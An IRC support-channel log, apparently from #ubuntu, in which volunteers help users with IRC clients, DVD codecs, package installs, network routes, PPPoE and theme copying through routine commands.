[07:30] <atoponce> RoundyT1: have you downloaded the app?
[07:31] <tallman> CharlieSu: but how do I join another server in irssi without this one dissconnecting?
[07:31] <Supercross> it is possible to have bad ram and not know this under normal windows usage
[07:31] <Amaranth> RoundyT1: you need to connect to that IP to get to it externally
[07:31] <tonyyarusso> tallman: /server
[07:31] <Amaranth> Supercross: yep, i had bad RAM that windows somehow didn't blow up on
[07:31] <RoundyT1> my router external ip correct?
[07:31] <atoponce> CharlieSu: because it's a cool client, and i back it, although, it is a bit advanced for Athensman
[07:31] <tallman> tonyyarusso: it disconnect from freenode
[07:31] <Amaranth> just a couple bad spots but linux uses all available RAM as a HD cache so it hit it all the time
[07:31] <tonyyarusso> tallman: see if there's an option - /help server
[07:31] <Athensman> atoponce if it made any since
[07:31] <atoponce> tallman: /connect
[07:31] <RoundyT1> meaning whatever is given to my via my ISP's DHCP server...correct?
[07:32] <Amaranth> Athensman: We'll figure that out later. :) First we need to get you on IRC from Ubuntu.
[07:32] <Supercross> how long does the ubuntu live mem test last?
[07:32] <CharlieSu> i guess..  irssi was the first IRC client i ever saw...
[07:32] <tonyyarusso> /connect might be it
[07:32] <atoponce> Supercross: a while
[07:32] <tallman> thanks
[07:32] <tallman> I'll try
[07:32] <Amaranth> Supercross: Expect to be able to read a good book while you wait. ;)
[07:32] <RoundyT1> External Ip ------ meaning whatever is given to my via my ISP's DHCP server...correct?
[07:32] <siimo> what will Fiesty+1 be called
[07:32] <atoponce> Supercross: it goes through random numbers, then reading/writing byte patters
[07:32] <Amaranth> RoundyT1: yep
[07:32] <Amaranth> siimo: No one knows yet
[07:32] <cables> Supercross, do you have a good computer rental place nearby?
[07:32] <atoponce> RoundyT1: yeah
[07:32] <RoundyT1> Amaranth sweet.
[07:33] <atoponce> *patterns
[07:33] <Supercross> i've got a notebook i'm using now and these problems are on my desktop
[07:33] <Amaranth> RoundyT1: try http://71.195.222.165
[07:33] <cables> siimo, Groaning Giraffe maybe?
[07:33] <Amaranth> RoundyT1: apache needs to be running though
[07:33] <RoundyT1> i'm new to Xchat....is there an easier way to like get the "red" writing.....other than typing in your name?
[07:33] <atoponce> Supercross: the last mem test i did, and this well obviously depend on your hardware, was about 30 minutes
[07:33] <Bamafan35611> well i am on xchat
[07:33] <atoponce> Supercross: it was fairly new hardware
[07:33] <Supercross> where it says Pass Test x%....is that the overall progress?
[07:33] <Amaranth> RoundyT1: you want it to all be red?
[07:33] <cables> RoundyT1, you can set watchwords which set the red writing off
[07:33] <nomopofomo> is it possible to reconstruct a raid array if the drives were formatted NTFS?
[07:34] <atoponce> Supercross: can't recall if it's the overall, or just for that specific test
[07:34] <RoundyT1> no, whenever someone says "RoundyT1: MESSAGE FROM USER" it's red
[07:34] <tallman> !gizmo
[07:34] <ubotu> Sorry, I don't know anything about gizmo - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[07:34] <Amaranth> nomopofomo: Hrm, that's a pretty advanced question.
[07:34] <tallman> is gizmo compatible with google talk ?
[07:35] <Amaranth> nomopofomo: If you don't get an answer here try on the forums (http://www.ubuntuforums.org)
[07:35] <cables> tallman, for text chat I think it is...
[07:35] <Supercross> well thank you all for yours help...i'm gonna hit the sack and get back to work on this tomorrow...g'nite all
[07:35] <Amaranth> nomopofomo: This is a slow time for this IRC channel
[07:35] <atoponce> Supercross: nite
[07:35] <RoundyT1> and what i want to do, is be able to send a message like that to someone or have someone's username autofill in the text box so then i can send them a message without having to type out their whole name....
[07:35] <tallman> cables: what about talking?
[07:35] <Athensman> ok i am on xchat
[07:35] <Amaranth> RoundyT1: type Ama and hit tab
[07:35] <cables> tallman, no. Gtalk uses jingle, Gizmo uses SIP
[07:35] <Amaranth> Athensman: yay
[07:36] <RoundyT1> are you serious? its the dang tab.
[07:36] <siimo> cables: Grunty Giraffe sounds better =)
[07:36] <atoponce> Athensman: sweet. and how do you like it?
[07:36] <RoundyT1> dang, i just learned that about the terminal
[07:36] <Athensman> plain
[07:36] <jmg> gloomy goldfish
[07:36] <tallman> !telepathy
[07:36] <nomopofomo> Amaranth, what's a good time to come back?
[07:36] <ubotu> Sorry, I don't know anything about telepathy - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[07:36] <atoponce> RoundyT1: tab is your friend... :)
[07:36] <erichj> Athensman: mirc is plain
[07:36] <cables> !offtopic | siimo, cables, what about goat?
[07:36] <FunnyLookinHat> Gay Guy?
[07:36] <ubotu> siimo, cables, what about goat?: #ubuntu is the Ubuntu support channel, #ubuntu+1 supports the development version of Ubuntu and #ubuntu-offtopic is for random chatter. Welcome!
[07:36] <RoundyT1> Amaranth, Athensman, cables, does this send it to all 3 of you?
[07:36] <cables> RoundyT1, the red text?
[07:36] <RoundyT1> ya.
[07:36] <Amaranth> nomopofomo: When the US folks are active I guess, around 12 hours from now
[07:36] <cables> RoundyT1, yep
[07:36] <Amaranth> RoundyT1: it's yellow for me but yes
[07:36] <RoundyT1> sweet....that's tight
[07:37] <nomopofomo> Amaranth, ok :) thanks
[07:37] <tonyyarusso> !offtopic | Release names are
[07:37] <ubotu> Release names are: #ubuntu is the Ubuntu support channel, #ubuntu+1 supports the development version of Ubuntu and #ubuntu-offtopic is for random chatter. Welcome!
[07:37] <cables> It does it if your nick is anywhere in the message, RoundyT1
[07:37] <Amaranth> Athensman: Alright, what's next? Or are you all setup now?
[07:37] <Athensman> setup for what
[07:37] <cables> Athensman, dvds?
[07:37] <Amaranth> Athensman: For using Ubuntu
[07:37] <Athensman> well hell no
[07:37] <Amaranth> Athensman: I never saw the original problem :)
[07:37] <Amaranth> You can't play a DVD?
[07:37] <Athensman> right
[07:37] <Athensman> it is choppy
[07:38] <Amaranth> !dvd
[07:38] <ubotu> For playing DVD, see http://help.ubuntu.com/ubuntu/desktopguide/C/video.html - "libdvdcss2" can be found at http://wiki.ubuntu.com/SeveasPackages
[07:38] <RoundyT1> dude, i'll tell you what.....there's nothing on at night, Jesus shows, and like girls gone wild, and stupid talk shows.
[07:38] <Athensman> omg
[07:38] <Amaranth> oh, it plays but not very good?
[07:38] <cables> Athensman, what sorta graphics card do you have?
[07:38] <Athensman> how many more times am i going to see that link
[07:38] <rredd4> !mplayer
[07:38] <ubotu> mplayer is a media player. It resides in the mutiverse repository and can easily be installed via applications -> add/remove. For codecs try !codecs
[07:38] <cables> Athensman, calm down...
[07:38] <RoundyT1> lol this is great
[07:38] <Amaranth> Athensman: I don't know how far along you are :)
[07:38] <cables> Athensman, what graphics card?
[07:38] <Athensman> stb velocity 128
[07:38] <RoundyT1> can you do that with virtually anything?
[07:38] <Amaranth> Athensman: So you can play the DVD but it's choppy?
[07:38] <RoundyT1> wow, ok i just thought of a really cool idea
[07:38] <cables> Athensman, I have no idea what that is...
[07:38] <Athensman> yes
[07:38] <Amaranth> Athensman: What media player?
[07:38] <cables> RoundyT1, do what?
[07:38] <os1ris> thanks to anyone who helped me earlier found my pci problem.. bad pci slot ! wooohoo!
[07:39] <Athensman> the one that came with this os
[07:39] <atoponce> os1ris: that's no fin
[07:39] <atoponce> fun even
[07:39] <cables> os1ris, :(
[07:39] <os1ris> yea troubleshot for like 3 hours
[07:39] <Amaranth> Athensman: Alright, have to do something slightly more advanced now then
[07:39] <cables> Athensman, can you tell me the manufacturer of your graphics card?
[07:39] <RoundyT1> ...well, I'm an IT manager at a clothing company and I've been thinking of trying to get a chat system setup for support reasons.
[07:39] <os1ris> wouldnt show up in my lspci
[07:39] <Athensman> uh no
[07:39] <Amaranth> cables: It's a _really_ old card
[07:39] <os1ris> i ended up trying 2 other ones .. the 3rd slot worked for my wirless card
[07:39] <cables> Amaranth, my DVD was choppy until I set up my accelerated drivers
[07:39] <atoponce> os1ris: so, what are you going to do?
[07:39] <cables> Amaranth, ah, got it
[07:39] <Amaranth> Athensman: Go to System->Administration->Synaptic Package Manager
[07:40] <os1ris> setting up ndiswrapper now .. anyone know how hard its to get working on ubuntu-server
[07:40] <os1ris> ?
[07:40] <Amaranth> Athensman: You want to search for 'totem-xine' and install it
[07:40] <atoponce> os1ris: never had any luck with wireless
[07:40] <cables> Amaranth, I've gotta say, pasting stuff into the commandline is usually easier than using a GUI, just 'cause the command is already set up by someone else
[07:40] <os1ris> following the wiki right now... just asking
[07:40] <atoponce> os1ris: maybe one of these days
[07:40] <atoponce> :)
[07:40] <captstevenhiller> tallman: "sudo cp Darker theme \usr\share\themes" in the directory with the file should do it right?
[07:40] <Amaranth> Athensman: and 'libxine-extracodecs'
[07:40] <os1ris> well i have a 2 bed apartment with one phone jack so tea its my ownly option..
[07:40] <RoundyT1> my ISP is Xmission, (amazing stuff) cables, and well....they said they will let me use "#roundy_helpdesk" on their "irc.xmission.com" server...to run like CGI:IRC....does this seem logical???
[07:41] <atoponce> RoundyT1: nice. you in utah? where at?
[07:41] <Amaranth> cables: sure but if he learns how to use synaptic when he needs help in the future you can just say 'install this package' and he'll know how to do it on his own
[07:41] <os1ris> i got one more question im new to ubuntu server and all that whats thr apt-get command to like update system packages and all that ?
[07:41] <cables> Amaranth, good point
[07:41] <atoponce> os1ris: i'm afraid i don't understand your question
[07:41] <RoundyT1> atoponce, West Jordan
[07:41] <Amaranth> Athensman: Am I getting to far ahead of you or did you figure that out?
[07:41] <RoundyT1> Xmission freakin owns
[07:41] <atoponce> RoundyT1: nice. do you know about the ubuntu-utah group?
[07:42] <atoponce> RoundyT1: xmission rocks
[07:42] <anirudha> Is it possible to dual boot kubuntu, ubuntu and Windows XP
[07:42] <os1ris> well lets say you have some system packages that have new stable versions out.. any commnd to auto update them..
[07:42] <Amaranth> os1ris: sudo apt-get update && sudo apt-get upgrade && sudo apt-get dist-upgrade
[07:42] <cables> anirudha, you don't need to do that
[07:42] <erichj> anirudha: yes
[07:42] <atoponce> os1ris: oh. i see
[07:42] <erichj> anirudha: but why?
[07:42] <os1ris> yes.. easy actually does it for you
[07:42] <cables> anirudha, you can install kubuntu WITHIN ubuntu, and choose which one when you log in
[07:42] <siimo> anirudha: yes but kubuntu+ubuntu = single OS
[07:42] <erichj> anirudha: install ubuntu with kubuntu-desktop as well
[07:42] <os1ris> yea lilo or grub are good
[07:42] <RoundyT1> atoponce, i actually left a comment in the forum part of it, i've been wanting to go to the meetings. ..... when's the next (assuming you go)
[07:42] <atoponce> os1ris: if you are on a certain frozen version, dapper, let's say, then you only get security updates
[07:42] <rredd4> how come libggi2, mplayer, python-imaging, python-imaging-sane  will not upgrade on edgy?  I have multiverse on.
[07:43] <atoponce> RoundyT1: yeah. i go. the next is online on the 31 in #ubuntu-utah
[07:43] <os1ris> ahhh well my aptget in kubuntu runs good it updates it.. but this is cli so wondering if there is a command. my kubuntu pops an icon
[07:43] <anirudha> cables, I installed ubuntu and currently have unbuntu and XP dual booting. So are you saying that installing kubuntu also installs ubuntu
[07:43] <Amaranth> rredd4: try to install one of them and see if you get an error message
[07:43] <atoponce> RoundyT1: in person meets are on the 2nd sat at the slc library on 4th south, downtown
[07:43] <cables> anirudha, you CAN dual-boot, but if you just install the package "kubuntu-desktop" it'll install Kubuntu inside your ubuntu, and you can choose which to use when you log in. That way you can switch between them without rebooting, and you can have all your files and programs shared between them.
[07:43] <rredd4> Amaranth ok..
[07:43] <cables> anirudha, do you know how to get to a terminal?
[07:43] <nn531> why doesnt my adesklet mailer start right away while my weather one does?
[07:43] <RoundyT1> ya, been there....
[07:43] <pibarnas> Is there any application to listen web radios that comes with radios ips to sintonize? Except bmpx (it's too buggy), please.
[07:43] <anirudha> cables,yes
[07:44] <cables> anirudha, put the following command in: sudo aptitude install kubuntu-desktop
[07:44] <atoponce> os1ris: i would use aptitude, instead of apt-get. 'sudo aptitude update' and 'sudo aptitude upgrade'
[07:44] <chowmeined> is there anything for linux that will broadcast hostnames on a small network? like the netbios thing in samba? So I can reference other linux machines by their hostname?
[07:44] <atoponce> os1ris: that's all you'll need for updating a server
[07:44] <cables> anirudha, it may ask you a question about whether to use gdm or kdm, it's your choice.
[07:44] <Amaranth> chowmeined: avahi
[07:44] <ardchoille> atoponce: Why use aptitude vs apt-get on Edgy?
[07:45] <siimo> ardchoille: aptitude pwns apt-get
[07:45] <os1ris> ahh ok cool thats all i needed.. brb gona get nids working and see if i can chat from my server with out this cable running through my room
[07:45] <anirudha> cables, I currently have my system dual boot Ubuntu and Windows XP. Will putting in the command install kubuntu and possibly erase my WIndows XP partition?
[07:45] <Amaranth> chowmeined: it's an implementation of what Apple calls Bonjour or Rendezvous
[07:45] <cables> anirudha, next time you boot up, choose the Sessions option from in the login screen, and you can choose whether to use kde or gnome
[07:45] <atoponce> ardchoille: better dependancy orphan removal than apt-get
[07:45] <Exploit> how to configr/install ADSL popppe connection???????
[07:45] <cables> anirudha, it won't install a new OS
[07:45] <chowmeined> Amaranth: ok thank you
[07:45] <ferronica> Is there any good Icon for theme???
[07:45] <Athensman> cant locate libxine-exrtacodecs
[07:45] <ddonky> when Feisty released?
[07:45] <rredd4> Amaranth  it appears to be working... ty!!!
[07:45] <chowmeined> ddonky: april
[07:45] <anirudha> cables, Oh so it will just intall the KDE version of ubuntu os
[07:45] <ardchoille> atoponce: The version of apt-get in Edgy has a new option: --atuo-remove  it auto removes unused deps.
[07:45] <CharlieSu> ddonky: now...  go get beta
[07:45] <siimo> Exploit: is there a reason why you dont use a router
[07:46] <pibarnas> ddonky it think it wll on 20/04.
[07:46] <cables> anirudha, it'll make it so you have a choice of ubuntu or kubuntu when you log in
[07:46] <Amaranth> Alright, can someone guide Athensman on how to enable multiverse? It's 2am and I have to wake up in 4 hours. :)
[07:46] <cables> anirudha, and all your programs will work with either one, and your documents will be shared between them
[07:46] <CharlieSu> pibarnas: perfect timing!
[07:46] <cables> Athensman, are you using Edgy?
[07:46] <anirudha> cables, oh okay thanks, i will try that =)
[07:46] <pibarnas> ddonky 07/04/20
[07:46] <erichj> Athensman: system->admin->software sources
[07:46] <atoponce> ardchoille: i've just always used aptitude, so i recommend it to everyone. i like it's ncurses package manager too
[07:46] <erichj> enable multiverse checkbox
[07:46] <ferronica> Is there any good Icon theme for ubuntu 6.06 LTS Dapper Drake   ???
[07:46] <Exploit>  m using a router....nt able to install through " sudo pppeconf" command
[07:46] <siimo> ardchoille: is that like a hack similar to deborphan  or proper reverse dependency checking while removing other packages
[07:46] <cables> erichj, that's only on Edgy.
[07:47] <Amaranth> ferronica: http://gnome-look.org has a bunch
[07:47] <Athensman> ok software sources
[07:47] <erichj> cables: well you got me there
[07:47] <pibarnas> ferronica buuf's good one.
[07:47] <siimo> Exploit: if you have a router you don't need to run the pppoeconf thing so you must not be using it
[07:47] <cables> siimo, the only downside to Aptitude is that it doesn't have super cow powers.
[07:47] <pibarnas> ferronica human-azul's too.
[07:47] <ardchoille> siimo: Not sure, all I know is that I submitted a bug report for apt-get in Dapper (not removing unused deps) and the devs told me the version of apt-get had an --auto-remove option to remove all unused deps when you remove an app.
[07:47] <cables> Athensman, in Software Sources, check off the multiverse option and click Close
[07:48] <ferronica> which opion i click
[07:48] <ferronica> Icon theme
[07:48] <Athensman> under what tab
[07:48] <nn531> has anyone had any luck with using gmail and adesklet mailer?
[07:48] <ardchoille> siimo: It's something new when Edgy came out.
[07:48] <cables> Athensman, the first one
[07:48] <pibarnas> ferronica didn't urderstand u.
[07:48] <ddonky> pibarnas - April 4th, 2007,  or American notation. July 4th, 2007?
[07:48] <siimo> ardchoille: ok.. so they added all this crap but didnt add apt diff updates?
[07:48] <anirudha> cables, I get the following error:  E: dpkg was interrupted, you must manually run 'dpkg --configure -a' to correct the problem.
[07:48] <Athensman> dont see it
[07:48] <ardchoille> siimo: No idea.
[07:48] <Exploit> ok i have connected my router  to my pc through USB ....it requires username & pass to connect.....in windows .... so how to config in ubuntu???
[07:48] <anirudha> cables, I am ???
[07:49] <Jimmy> I've installed SWAT (Samba web-based tools), and when i type this in browser: http://localhost:901 , I get "Problem Loading Page" .. Please help!
[07:49] <ferronica> Amarnath: under contenets
[07:49] <cables> anirudha, that's because you must have interrupted a package manager before.
[07:49] <siimo> Exploit: wait your router has no ethernet port?
[07:49] <ardchoille> siimo: If you're on Edgy, you might be able to find that in the man pages.
[07:49] <cables> anirudha, nothing to do with kubuntu.
[07:49] <ferronica> Amarnath: i clicked Icon theme
[07:49] <pibarnas> ddonky nope, 20th april 2007... I get some dizzy with dates in English (not my native language).
[07:49] <rredd4> Amaranth  installing them by individually worked!
[07:49] <cables> anirudha, run sudo dpkg --configure -a
[07:49] <cables> anirudha, then try my command again
[07:49] <siimo> ardchoille: i still use warty :|
[07:49] <Athensman> cables it isnt there
[07:49] <cables> Athensman, Software restricted by copyright or legal issues
[07:49] <Exploit> it has...in ubuntu ..in network connection it detecting eth port whn i connect through USB....
[07:50] <CharlieSu> pibarnas: most americans don't realize that dates are different in other countries
[07:50] <cables> Athensman, in the Ubuntu 6.10 tab.
[07:50] <Athensman> it is unchecked already
[07:50] <anirudha> cables, I will try that, thanks!
[07:50] <cables> Athensman, check it off
[07:50] <cables> Athensman, it should be checked
[07:50] <Athensman> ok checked
[07:50] <pibarnas> CharlieSu They don't realize many things... ;0
[07:50] <cables> Athensman, now hit close
[07:50] <cables> pibarnas, CharlieSu, hey... that's not nice
[07:50] <CharlieSu> pibarnas: viva en Brazil?
[07:50] <pibarnas> CharlieSu yep
[07:50] <cables> CharlieSu, is that Portuguese? It sounds like Spanish to me :)
[07:51] <pibarnas> cables sorry.
[07:51] <chowmeined> Amaranth: so I can use avahi in a way that I can just ping some_computer_name?
[07:51] <pibarnas> cables it is spanish.
[07:51] <CharlieSu> cables: exactly.. lol...  spanish....
[07:51] <cables> pibarnas, ah.
[07:51] <siimo> Exploit: read this : http://ubuntuguide.org/wiki/Dapper#How_to_install_Broadband_ADSL.2FPPPoE_Client_.28RP-PPPoE.29
[07:51] <CharlieSu> i live in Texas...  USA
[07:51] <Athensman> i had to reload
[07:51] <cables> CharlieSu, my Brazilian friend could understand spanish perfectly, because it's so similar to Portuguese
[07:51] <pibarnas> portuguese is like: p, algum aqui fala portugus?!?
[07:51] <cables> Athensman, yeah?
[07:51] <ferronica> pibarnas: i am downloding Buff_gnome is it okay to download
[07:52] <Amaranth> chowmeined: no but you can use service-discovery-applet to browse things available on the other systems
[07:52] <pibarnas> ferronica okay, if you u need some help... just go ahead...
[07:52] <Amaranth> now i really have to go to bed, no more pinging me :)
[07:52] <cables> Amaranth, multiverse is enabled
[07:52] <Amaranth> <mutes speakers>
[07:52] <chowmeined> that is kindve lame
[07:52] <anirudha> cables, I ran sudo dpkg --configure -a and it seems to be hung up on Setting up ubuntu-docs (6.10.4.2) ...
[07:52] <chowmeined> ..
[07:52] <cables> Amaranth, for Athensman I mean
[07:52] <ddonky> pibarnas - obrigado
[07:52] <Amaranth> cables: he needs libxine-extracodecs now
[07:52] <cables> Amaranth, what was his original goal?
[07:52] <Athensman> ok now what
[07:52] <ferronica> pibarnas: its 8.8 Mb
[07:52] <anirudha> cables, any ideas, I would greatly appreciate your help
[07:52] <rredd4> Amaranth  night!
[07:52] <chowmeined> i just want to resolve hostnames without using a DNS server on a local network
[07:52] <Amaranth> cables: totem-xine for DVD playback
[07:52] <cables> anirudha, let it sit
[07:52] <siimo> Exploit: but i suggest using a "proper" router that has a network port instead of crappy usb ones
[07:53] <cables> anirudha, go to Applications>Accessories>Terminal
[07:53] <anirudha> cables, oh okay
[07:53] <pibarnas> ferronica yes, it has many icons!
[07:53] <cables> anirudha, that tends to take a while to set up
[07:53] <nn531> is there a way to change titlebar color without chanign the theme or getting beryl
[07:53] <pibarnas> ferronica but you can try other ones...
[07:53] <cables> nn531, modify the theme
[07:53] <dylock> there are USB routers?
[07:53] <anirudha> cables, okay, thanks for the help
[07:53] <pibarnas> ferronica have u seen its shots??
[07:53] <siimo> dylock: i dont know he is claiming its a router then hes saying its usb
[07:53] <cables> dylock, there are USB modems and USB hubs... I guess maybe if you somehow shmushed the two together?
[07:53] <ferronica> pibarnas: after downloding just drag and drop it in theme or elsewhere
[07:53] <anirudha> cables, I'll let you know how my kubuntu works out!
[07:54] <ferronica> pibarnas: YES
[07:54] <cables> anirudha, just remember to go to Sessions on login to switch
[07:54] <Athensman> now what
[07:54] <nn531> cables, thanks but where do I go to modify it, preferences doesnt let me do what I want
[07:54] <siimo> dylock: also i do have a cheap dlink adsl modem/router that has a ethernet port + usb port
[07:54] <Exploit> ok but that http://ubuntuguide.org/wiki/Dapper#How_to_install_Broadband_ADSL.2FPPPoE_Client_.28RP-PPPoE.29 guide req a net connection in kubuntu to download  client
[07:54] <cables> Athensman, copy this by selecting it, and paste it into the terminal with ctrl-shift-paste. Then hit enter
[07:54] <dylock> interesting
[07:54] <Amaranth> Athensman: go back into Synaptic and install libxine-extracodecs
[07:54] <Amaranth> Athensman: then try to play your DVD again
[07:54] <Athensman> k
[07:54] <cables> Amaranth, you take over :)
[07:55] <cables> nn531, I mean MODIFY it. Rewrite it. Change the inner workings... that's the only way to change a theme's colors
[07:55] <cables> nn531, or try to find another version of that theme
[07:55] <pibarnas> ferronica I think it won't work with this one...
[07:55] <happytron> does gnome-terminal crash like 10 times a day for anyone else?
[07:55] <nn531> cables, is there a file i should be looking for?
[07:55] <bicycledaave> hi all, I have a Atheros wireless card that works fine with dapper and edgy,but not with now feisty beta.  But what confused me is that lspci & lsmod show that the card is recognized and ath* modules are loaded, but iwconfig shows no wireless extension.  why?
[07:55] <cables> nn531, I'm not sure...
[07:55] <captstevenhiller> anyone how to copy a file to a root owned directory?
[07:56] <pibarnas> ferronica Do this: move the package after download to ~/.icons
[07:56] <cables> bicycledaave, I had problems with wi-fi in Edgy betas, but it worked fine in Dapper and in Edgy final... no idea why your atheros isn't working, mine works fine in Feisty.
[07:56] <cables> bicycledaave, you should report a bug
[07:56] <pibarnas> ferronica and go there! once there, extract the package! it's done. After it, just select with theme selector.
[07:56] <cables> captstevenhiller, sudo cp <originalfilepath> <newfilepath>
[07:56] <pibarnas> ferronica that's it!
[07:56] <Athensman> the multi media player that cam e with this OS should be fine to use???
[07:57] <cables> pibarnas, he wants to change the color of the theme
[07:57] <morgWork> hey guys
[07:57] <rredd4> bicycledaave  did you try #ubuntu+1  they support feisty...
[07:57] <ferronica> pibarnas: what what
[07:57] <cables> Athensman, yes, but a good alternative is VLC... install that through Applications>Add/Remove
[07:57] <ferronica> pibarnas: ok downloded on desktop
[07:57] <Exploit> i think only LAN port works  for me....not ADSL through USB
[07:57] <Athensman> ok one sec
[07:57] <bicycledaave> thanks, guys
[07:57] <cables> Athensman, but there's no reason to use that if Totem (the default) is okay
[07:57] <pibarnas> ferronica open nautilus and on its bar put ~/.icons
[07:58] <Athensman> it isnt totem
[07:58] <rickyfingers> hey everyone, I've been experimenting with beryl for a few days now, and I'm totally infatuated with it.  I took a screen shot that I will use to show windows users the future...I posted it to my web site in case anyone's curious: http://rootser.com/linux-ownage.png
[07:58] <Athensman> gxine
[07:58] <pibarnas> ferronica drag and drop.
[07:58] <bicycledaave> i'll go that channel and have a try
[07:58] <Jimmy> I've installed SWAT (Samba web-based tools), and when i type this in browser: http://localhost:901 , I get "Problem Loading Page" .. Please help!
[07:58] <ferronica> pibarnas: how to open nautilus
[07:58] <cables> pibarnas, sorry, I got that wrong... wrong person, sorry
[07:58] <morgWork> suppose you had the following route that you'd like to remove... "192.168.0.0     *               255.255.0.0     U     0      0        0 eth1"  What would be the correct route syntax? I thought "route del 192.168.0.0" woulda covered it but I get a "SIOCDELRT: No such process" error.
[07:58] <morgWork> any thoughts?
[07:58] <erichj> Jimmy: have apache installed?
[07:58] <pibarnas> cables what, pal?
[07:59] <Jimmy> erichj, Do I need apache installed for swat to operate ?
[07:59] <cables> pibarnas, I said something but realized you weren't talking to the person I thought you were talking to
[07:59] <erichj> Jimmy: yes
[07:59] <pibarnas> ferronica places>my home (something like that - mine's translated).
[07:59] <pibarnas> cables okay!
[07:59] <Jimmy> erichj,  is it cause, anything that needs to operate with http://localhost have to have apache, since it's a web server?
[07:59] <Bonez56> hi, i'm using the fiesty fawn beta and was just wondering if there is any support for easyubuntu/automatix or anything similar yet?
[07:59] <pibarnas> Is there any application to listen web radios that comes with radios ips to sintonize? Except bmpx (it's too buggy), please.
[07:59] <ferronica> pibarnas: Ok opened home folder
[07:59] <erichj> Jimmy: yes
[08:00] <cables> Jimmy, if you installed whatever you installed from the repositories, it should have depended on Apache and automatically installed it.
[08:00] <bicycledaave> hi all, I have a Atheros wireless card that works fine with dapper and edgy,but\ not with now feisty beta.  But what confused me is that lspci & lsmod show tha\
[08:00] <bicycledaave> t the card is recognized and ath* modules are loaded, but iwconfig shows no wir\
[08:00] <bicycledaave> eless extension.  why?
[08:00] <bicycledaave> oops,sorry for that typeset
[08:00] <erichj> cables: i setup swat once, it doesn't
[08:00] <cables> pibarnas, if you want to listen to internet radio (I think that's what you mean) then you can install streamtuner
[08:00] <pibarnas> pull control+l
[08:00] <Jimmy> cables, i've used the apt-get from terminal, rather than via synaptics
[08:00] <ferronica> pibarnas: ????
[08:00] <cables> Jimmy, that will install dependencies too.
[08:01] <pibarnas> ferronica i'm here.
[08:01] <ferronica> pibarnas: now what
[08:01] <cables> ferronica, he means push ctrl-l :)
[08:01] <vladko> hi how to easy install firefox 2 in dapper<
[08:01] <pibarnas> ferronica put ~/.icons there.
[08:01] <cables> vladko, upgrade to edgy :)
[08:01] <pibarnas> ferronica and pull enter, of course! :)
[08:01] <erichj> cables: swat isn't dependant on apache, it just needs a webserver...it won't autoinstall them
[08:01] <rickyfingers> bicycledaave: it really seems like a driver problem to me...
[08:01] <pibarnas> ferronica okay?
[08:01] <cables> erichj, ok, sorry I said that to him
[08:02] <pibarnas> ferronica are u in ~/.icons now??
[08:02] <siimo> vladko: download firefox ... extract it somewhere... update your shortcuts to point to this one instead of the one that came with dapper... easy as 1, 2 and 3
[08:02] <cables> vladko, try downloading the linux version from www.mozilla.com
[08:02] <pibarnas> ferronica ~/ = your home folder.
[08:02] <morgWork> there we go: route del -net 192.168.0.0 netmask 255.255.0.0 eth1
[08:02] <morgWork> gotta give it the full monty.
[08:02] <ferronica> pibarnas:  yes
[08:02] <erichj> cables: np, swat is a pain anyway...even when he gets apache installed the config for swat sucks...unless they changed it recently
[08:03] <pibarnas> ferronica now move your new icon package to that place.
[08:03] <Exploit> whn i m using "sudo pppoeconf" after scanning its saying ports r used by another process...? ny other way to configure/install ADSL pppoe?
[08:03] <ferronica> pibarnas:  after putting it
[08:03] <pibarnas> ferronica double click.
[08:03] <Athensman> ok want me try dvd playback now
[08:03] <siimo> vladko: download this http://releases.mozilla.org/pub/mozilla.org/firefox/releases/2.0.0.3/linux-i686/en-US/firefox-2.0.0.3.tar.gz
[08:03] <rickyfingers> Exploit: have you tried roaring penguin?
[08:03] <ferronica> pibarnas:  there is one Gion Icon
[08:03] <pibarnas> ferronica extract the package there (~/.icons)
[08:03] <cables> !checkinstall | siimo, vladko
[08:03] <ubotu> siimo, vladko: checkinstall is a wrapper to "make install", useful for installing programs you compiled. It will create a .deb package, which will be listed in the APT database and can be uninstalled like other packages. See https://help.ubuntu.com/community/CheckInstall - Read the warnings at the top and bottom of that web page, and DO NOT interrupt CheckInstall while it's running!
[08:03] <Exploit> roaring penguin???wats dis
[08:04] <Jimmy> cables, sudo apt-get install apache SHOULD install the rest of the depencies that depends on apache to make it operate correctly, correct?
[08:04] <Athensman> ok want me try dvd playback now
[08:04] <rickyfingers> Exploit: give me a sec I'll shoot you a link.
[08:04] <pibarnas> ferronica maybe it's already installed... it's another one icon theme.
[08:04] <cables> Jimmy, not sure
[08:04] <cables> Athensman, go ahead, your choice
[08:04] <captstevenhiller> cables: i ran your line, and it just says it omits the directory
[08:04] <Athensman> k
[08:04] <cables> captstevenhiller, what?
[08:04] <siimo> cables: i dont know if you have compiled firefox before... it is not something that can be compiled with checkinstall...that is besides the point cause i am pointing vladko to a BINARY download of firefox not source
[08:04] <cables> captstevenhiller, did you remove the <>?
[08:04] <ferronica> pibarnas:  sayin archive not supported when i double click on it
[08:04] <Jimmy> erichj, apache or apache2?
[08:04] <siimo> cables: i mean cant
[08:04] <Jimmy> cables,  thanks!
[08:04] <cables> siimo, I thought checkinstall could install precompiled binaries into APT, sorry about that...
[08:04] <captstevenhiller> cables: yes, ive been having trouble with this all night though
[08:04] <erichj> Jimmy: yeah it will, but first remove swat and then install apache then install swat again...and get apache2
[08:05] <cables> captstevenhiller, can you paste the command here?
[08:05] <pibarnas> ferronica weird... what's package extension?
[08:05] <os1ris> this is a new question but in cli ... hah how do i mnt my cd drive
[08:05] <RoundyT1> how do i "save a channel" ???
[08:05] <captstevenhiller> cables: i ran "crash@crash-desktop:~/themes/Aero/gtk$ sudo cp /home/crash/themes/Aero /usr/share/themes" please excuse me if its my stupidity thats the problem
[08:05] <os1ris> :)) thx in advance.. i forget how
[08:06] <erichj> !mount
[08:06] <ubotu> Partitioning programs: !GParted or QTParted (also "man mkfs" for formatting) - Mounting partitions in Gnome under Dapper: System -> Administration -> Disks - For Edgy, see !fstab and !DiskMounter
[08:06] <cables> captstevenhiller, is Aero a folder or a file?
[08:06] <ferronica> pibarnas:  Buuf_gnome_1_6_r4_by_djany.6-r4_tar_bz2
[08:06] <captstevenhiller> folder
[08:06] <RoundyT1> or how do i get Xchat to automatically login to certain channels?
[08:06] <captstevenhiller> cables: its a GTK theme
[08:06] <rickyfingers> Exploit: http://www.roaringpenguin.com/en/penguin/openSourceProducts/rpPppoe if you don't have issues with compiling source code to install a program, this will save you time you would have spent getting all the commands right for ppp-oe
[08:06] <pibarnas> ferronica okay... lets make some tricks...
[08:06] <cables> captstevenhiller, try sudo cp /home/crash/themes/Aero/* /usr/share/themes/Aero/
[08:06] <pibarnas> ferronica ar u prepared?
